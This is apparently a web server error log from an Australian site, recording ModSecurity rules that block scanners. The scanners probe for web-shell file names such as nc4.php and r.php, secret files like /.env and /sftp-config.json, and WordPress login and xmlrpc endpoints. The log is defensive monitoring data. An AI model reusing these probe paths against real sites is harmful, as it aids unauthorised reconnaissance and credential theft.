[Wed Jan 21 01:10:08.773354 2026] [:error] [pid 56326:tid 56350] [client 20.230.68.0:13182] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aW-28BA6mi8Uwf45Uy9hSgAAANY"]
[Wed Jan 21 01:10:09.277702 2026] [:error] [pid 56291:tid 56312] [client 20.230.68.0:13239] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aW-28bXgW_1T5Nikxa0etQAAAFE"]
[Wed Jan 21 01:10:09.827243 2026] [:error] [pid 54259:tid 54287] [client 20.230.68.0:13014] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aW-28Q2q1USrePnOoFQhEwAAAIo"]
[Wed Jan 21 01:10:10.428903 2026] [:error] [pid 63647:tid 63667] [client 20.230.68.0:13166] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aW-28lUaYw1xHOoaFFJCnwAAAhI"]
[Wed Jan 21 01:10:10.928689 2026] [:error] [pid 54260:tid 54335] [client 20.230.68.0:13073] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aW-28tg7jS3jmpUN0WBIywAAAVg"]
[Wed Jan 21 01:10:11.736466 2026] [:error] [pid 17295:tid 17306] [client 20.230.68.0:13122] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aW-28_ZJhGdrcqZICT_NDAAAAYg"]
[Wed Jan 21 01:10:12.418459 2026] [:error] [pid 17295:tid 17313] [client 20.230.68.0:13167] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aW-29PZJhGdrcqZICT_NDQAAAY8"]
[Wed Jan 21 01:10:13.196672 2026] [:error] [pid 54382:tid 54403] [client 20.230.68.0:13195] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aW-29UTJlZ9SJ6sBOEvnswAAABI"]
[Wed Jan 21 01:10:13.806343 2026] [:error] [pid 17295:tid 17320] [client 20.230.68.0:13110] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aW-29fZJhGdrcqZICT_NEAAAAZY"]
[Wed Jan 21 01:10:14.367010 2026] [proxy_fcgi:error] [pid 56360:tid 56364] [client 20.230.68.0:13095] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:10:14.578711 2026] [proxy_fcgi:error] [pid 56360:tid 56374] [client 20.230.68.0:13095] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:10:14.799950 2026] [proxy_fcgi:error] [pid 56360:tid 56372] [client 20.230.68.0:13095] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:10:15.004321 2026] [proxy_fcgi:error] [pid 56360:tid 56380] [client 20.230.68.0:13095] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:10:15.218581 2026] [proxy_fcgi:error] [pid 56360:tid 56383] [client 20.230.68.0:13095] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:10:15.443793 2026] [proxy_fcgi:error] [pid 56360:tid 56375] [client 20.230.68.0:13095] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:10:15.649674 2026] [proxy_fcgi:error] [pid 56360:tid 56373] [client 20.230.68.0:13095] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:10:15.855356 2026] [proxy_fcgi:error] [pid 56360:tid 56367] [client 20.230.68.0:13095] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:10:16.059040 2026] [proxy_fcgi:error] [pid 56360:tid 56365] [client 20.230.68.0:13095] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:10:16.263043 2026] [proxy_fcgi:error] [pid 56360:tid 56376] [client 20.230.68.0:13095] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:10:16.474621 2026] [proxy_fcgi:error] [pid 56360:tid 56381] [client 20.230.68.0:13095] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:10:16.675030 2026] [:error] [pid 56360:tid 56370] [client 20.230.68.0:13095] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aW-2-E1J8CD1rR-wXXuIYwAAAQg"]
[Wed Jan 21 01:10:17.331565 2026] [:error] [pid 8455:tid 8472] [client 20.230.68.0:13075] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aW-2-YJiHdPVtruynXDhdAAAA08"]
[Wed Jan 21 01:10:17.884912 2026] [:error] [pid 56326:tid 56343] [client 20.230.68.0:13107] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aW-2-RA6mi8Uwf45Uy9hTQAAAM8"]
[Wed Jan 21 01:10:18.853409 2026] [:error] [pid 56326:tid 56332] [client 20.230.68.0:13088] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aW-2-hA6mi8Uwf45Uy9hTgAAAMQ"]
[Wed Jan 21 05:12:32.569236 2026] [proxy_fcgi:error] [pid 21454:tid 21479] [client 4.197.240.79:40294] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 05:12:32.587751 2026] [proxy_fcgi:error] [pid 21454:tid 21484] [client 4.197.240.79:40294] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 05:12:32.607458 2026] [proxy_fcgi:error] [pid 21454:tid 21486] [client 4.197.240.79:40294] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 05:12:32.632425 2026] [proxy_fcgi:error] [pid 21454:tid 21487] [client 4.197.240.79:40294] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 05:12:32.651602 2026] [proxy_fcgi:error] [pid 21454:tid 21478] [client 4.197.240.79:40294] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 05:12:32.672564 2026] [proxy_fcgi:error] [pid 21454:tid 21471] [client 4.197.240.79:40294] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 05:12:32.705944 2026] [proxy_fcgi:error] [pid 21454:tid 21470] [client 4.197.240.79:40294] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 05:12:32.736313 2026] [proxy_fcgi:error] [pid 21454:tid 21467] [client 4.197.240.79:40294] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 05:12:32.762653 2026] [proxy_fcgi:error] [pid 21454:tid 21468] [client 4.197.240.79:40294] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 05:12:32.803241 2026] [proxy_fcgi:error] [pid 21454:tid 21485] [client 4.197.240.79:40294] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 05:12:32.822516 2026] [:error] [pid 21454:tid 21481] [client 4.197.240.79:40294] [client 4.197.240.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aW_vwDwp5UZmMFzY2bpV8AAAABE"]
[Wed Jan 21 05:12:32.890423 2026] [:error] [pid 21455:tid 21491] [client 4.197.240.79:29377] [client 4.197.240.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aW_vwIpOKALCSo1URZFAKAAAAEA"]
[Wed Jan 21 05:12:32.958432 2026] [:error] [pid 21455:tid 21505] [client 4.197.240.79:26507] [client 4.197.240.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aW_vwIpOKALCSo1URZFAKQAAAE4"]
[Wed Jan 21 05:12:33.021405 2026] [:error] [pid 21563:tid 21570] [client 4.197.240.79:47358] [client 4.197.240.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aW_vwRZq__dTorabEoyUUgAAAMU"]
[Wed Jan 21 06:02:37.499125 2026] [:error] [pid 59863:tid 59883] [client 103.65.236.149:64921] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aW_7fbHQ1zVZ4yLuI-zmRwAAARA"]
[Wed Jan 21 09:07:40.572580 2026] [proxy_fcgi:error] [pid 21563:tid 21576] [client 4.197.162.185:21973] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 09:07:41.047005 2026] [proxy_fcgi:error] [pid 21563:tid 21582] [client 4.197.162.185:21973] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 09:07:41.069226 2026] [proxy_fcgi:error] [pid 21563:tid 21584] [client 4.197.162.185:21973] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 09:07:41.101748 2026] [proxy_fcgi:error] [pid 21563:tid 21579] [client 4.197.162.185:21973] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 09:07:41.129184 2026] [proxy_fcgi:error] [pid 21563:tid 21567] [client 4.197.162.185:21973] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 09:07:41.165615 2026] [proxy_fcgi:error] [pid 21563:tid 21569] [client 4.197.162.185:21973] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 09:07:41.194353 2026] [proxy_fcgi:error] [pid 21563:tid 21572] [client 4.197.162.185:21973] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 09:07:41.243259 2026] [proxy_fcgi:error] [pid 21563:tid 21577] [client 4.197.162.185:21973] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 09:07:41.272982 2026] [proxy_fcgi:error] [pid 21563:tid 21580] [client 4.197.162.185:21973] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 09:07:41.306846 2026] [proxy_fcgi:error] [pid 21563:tid 21581] [client 4.197.162.185:21973] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 09:07:41.332637 2026] [:error] [pid 21563:tid 21575] [client 4.197.162.185:21973] [client 4.197.162.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aXAm3RZq__dTorabEozchAAAAMo"]
[Wed Jan 21 09:07:41.399063 2026] [:error] [pid 59863:tid 59885] [client 4.197.162.185:23238] [client 4.197.162.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aXAm3bHQ1zVZ4yLuI-wzuwAAARI"]
[Wed Jan 21 09:07:41.466726 2026] [:error] [pid 21456:tid 21523] [client 4.197.162.185:23207] [client 4.197.162.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aXAm3QKyVQ9Ob2YxRArAPwAAAIU"]
[Wed Jan 21 09:07:41.527772 2026] [:error] [pid 21455:tid 21499] [client 4.197.162.185:21991] [client 4.197.162.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aXAm3YpOKALCSo1URZF_XgAAAEg"]
[Wed Jan 21 22:15:46.654702 2026] [:error] [pid 21454:tid 21468] [client 181.215.182.217:45231] [client 181.215.182.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXDfkjwp5UZmMFzY2bpWmQAAAAQ"]
[Wed Jan 21 22:37:22.307232 2026] [proxy_fcgi:error] [pid 56352:tid 56357] [client 145.239.10.137:55706] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/info.php
[Wed Jan 21 22:37:22.448308 2026] [proxy_fcgi:error] [pid 21563:tid 21580] [client 145.239.10.137:53479] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/vx.php
[Wed Jan 21 23:47:20.997413 2026] [:error] [pid 21563:tid 21587] [client 103.158.206.167:48096] [client 103.158.206.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXD1CBZq__dTorabEoy4SwAAANY"]
[Thu Jan 22 03:19:50.650350 2026] [proxy_fcgi:error] [pid 4382:tid 4389] [client 52.231.68.47:52365] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:19:50.802332 2026] [proxy_fcgi:error] [pid 4382:tid 4395] [client 52.231.68.47:52365] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:19:50.940119 2026] [proxy_fcgi:error] [pid 4382:tid 4407] [client 52.231.68.47:52365] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:19:51.079735 2026] [proxy_fcgi:error] [pid 4382:tid 4401] [client 52.231.68.47:52365] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:19:51.680190 2026] [proxy_fcgi:error] [pid 4382:tid 4388] [client 52.231.68.47:52365] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:19:51.824802 2026] [proxy_fcgi:error] [pid 4382:tid 4397] [client 52.231.68.47:52365] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:19:52.077219 2026] [proxy_fcgi:error] [pid 4382:tid 4402] [client 52.231.68.47:52365] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:19:52.526000 2026] [proxy_fcgi:error] [pid 4382:tid 4393] [client 52.231.68.47:52365] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:19:53.006091 2026] [proxy_fcgi:error] [pid 4382:tid 4399] [client 52.231.68.47:52365] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:19:53.141523 2026] [:error] [pid 4382:tid 4385] [client 52.231.68.47:52365] [client 52.231.68.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aXEm2ZHg0falVG3JFbCmaAAAAYE"]
[Thu Jan 22 03:19:53.773609 2026] [:error] [pid 21455:tid 21491] [client 52.231.68.47:38520] [client 52.231.68.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aXEm2YpOKALCSo1URZGGSwAAAEA"]
[Thu Jan 22 03:19:54.330721 2026] [:error] [pid 21454:tid 21471] [client 52.231.68.47:61349] [client 52.231.68.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aXEm2jwp5UZmMFzY2bqjOwAAAAc"]
[Thu Jan 22 03:19:54.992358 2026] [:error] [pid 21456:tid 21539] [client 52.231.68.47:28815] [client 52.231.68.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aXEm2gKyVQ9Ob2YxRArn0gAAAJU"]
[Thu Jan 22 03:46:47.818208 2026] [proxy_fcgi:error] [pid 21455:tid 21510] [client 4.194.2.136:4622] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:46:47.917330 2026] [proxy_fcgi:error] [pid 21455:tid 21493] [client 4.194.2.136:4622] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:46:48.010726 2026] [proxy_fcgi:error] [pid 21455:tid 21492] [client 4.194.2.136:4622] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:46:48.101075 2026] [proxy_fcgi:error] [pid 21455:tid 21498] [client 4.194.2.136:4622] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:46:48.192270 2026] [proxy_fcgi:error] [pid 21455:tid 21507] [client 4.194.2.136:4622] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:46:48.285292 2026] [proxy_fcgi:error] [pid 21455:tid 21491] [client 4.194.2.136:4622] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:46:48.376960 2026] [proxy_fcgi:error] [pid 21455:tid 21508] [client 4.194.2.136:4622] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:46:48.469442 2026] [proxy_fcgi:error] [pid 21455:tid 21497] [client 4.194.2.136:4622] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:46:48.560501 2026] [proxy_fcgi:error] [pid 21455:tid 21503] [client 4.194.2.136:4622] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:46:48.653408 2026] [proxy_fcgi:error] [pid 21455:tid 21506] [client 4.194.2.136:4622] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:46:48.747133 2026] [proxy_fcgi:error] [pid 21455:tid 21496] [client 4.194.2.136:4622] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 03:46:48.838901 2026] [:error] [pid 21455:tid 21504] [client 4.194.2.136:4622] [client 4.194.2.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r.php"] [unique_id "aXEtKIpOKALCSo1URZGMgAAAAE0"]
[Thu Jan 22 03:46:49.192352 2026] [:error] [pid 56352:tid 56357] [client 4.194.2.136:4647] [client 4.194.2.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r.php"] [unique_id "aXEtKdWN6wYNPTU3efVkGgAAAUM"]
[Thu Jan 22 03:46:49.545737 2026] [:error] [pid 4382:tid 4385] [client 4.194.2.136:50855] [client 4.194.2.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r.php"] [unique_id "aXEtKZHg0falVG3JFbCs7AAAAYE"]
[Thu Jan 22 03:46:49.899256 2026] [:error] [pid 21456:tid 21530] [client 4.194.2.136:4643] [client 4.194.2.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r.php"] [unique_id "aXEtKQKyVQ9Ob2YxRArt1QAAAIw"]
[Thu Jan 22 04:34:00.917368 2026] [:error] [pid 52446:tid 52482] [client 78.134.44.97:59879] [client 78.134.44.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.134.44.97, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aXE4OLJ6clMw4kdrHYE9EwAAAEA"]
[Thu Jan 22 04:34:00.928889 2026] [proxy_fcgi:error] [pid 52446:tid 52482] [client 78.134.44.97:59879] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 05:28:05.452286 2026] [:error] [pid 27550:tid 27573] [client 45.153.34.46:54328] [client 45.153.34.46] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXFE5eOQDPzfV5R2LYQ2rAAAARU"]
[Thu Jan 22 07:50:29.230645 2026] [:error] [pid 52446:tid 52482] [client 152.42.217.247:54575] [client 152.42.217.247] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aXFmRbJ6clMw4kdrHYFs4gAAAEA"]
[Thu Jan 22 09:49:59.361290 2026] [:error] [pid 52445:tid 52464] [client 159.65.8.157:54549] [client 159.65.8.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.8.157, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aXGCR-vMmsFgpSSb5L281QAAAAo"]
[Thu Jan 22 09:49:59.375874 2026] [proxy_fcgi:error] [pid 52445:tid 52464] [client 159.65.8.157:54549] AH01071: Got error 'Primary script unknown'
[Thu Jan 22 10:09:16.041943 2026] [:error] [pid 52556:tid 52570] [client 45.148.10.124:48920] [client 45.148.10.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXGGzOg4y1NKM4AgfjCk1wAAAMw"]
[Thu Jan 22 14:32:29.617397 2026] [:error] [pid 27550:tid 27572] [client 179.43.191.19:40836] [client 179.43.191.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.43.191.19, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aXHEfeOQDPzfV5R2LYToQwAAARQ"], referer: agraphics.com.au
[Thu Jan 22 14:32:29.638765 2026] [proxy_fcgi:error] [pid 27550:tid 27572] [client 179.43.191.19:40836] AH01071: Got error 'Primary script unknown', referer: agraphics.com.au
[Thu Jan 22 22:32:19.126182 2026] [:error] [pid 36083:tid 36087] [client 95.216.63.67:57572] [client 95.216.63.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/license.php"] [unique_id "aXI085Cng2nQoR5iqwq9AwAAAUE"], referer: www.google.com
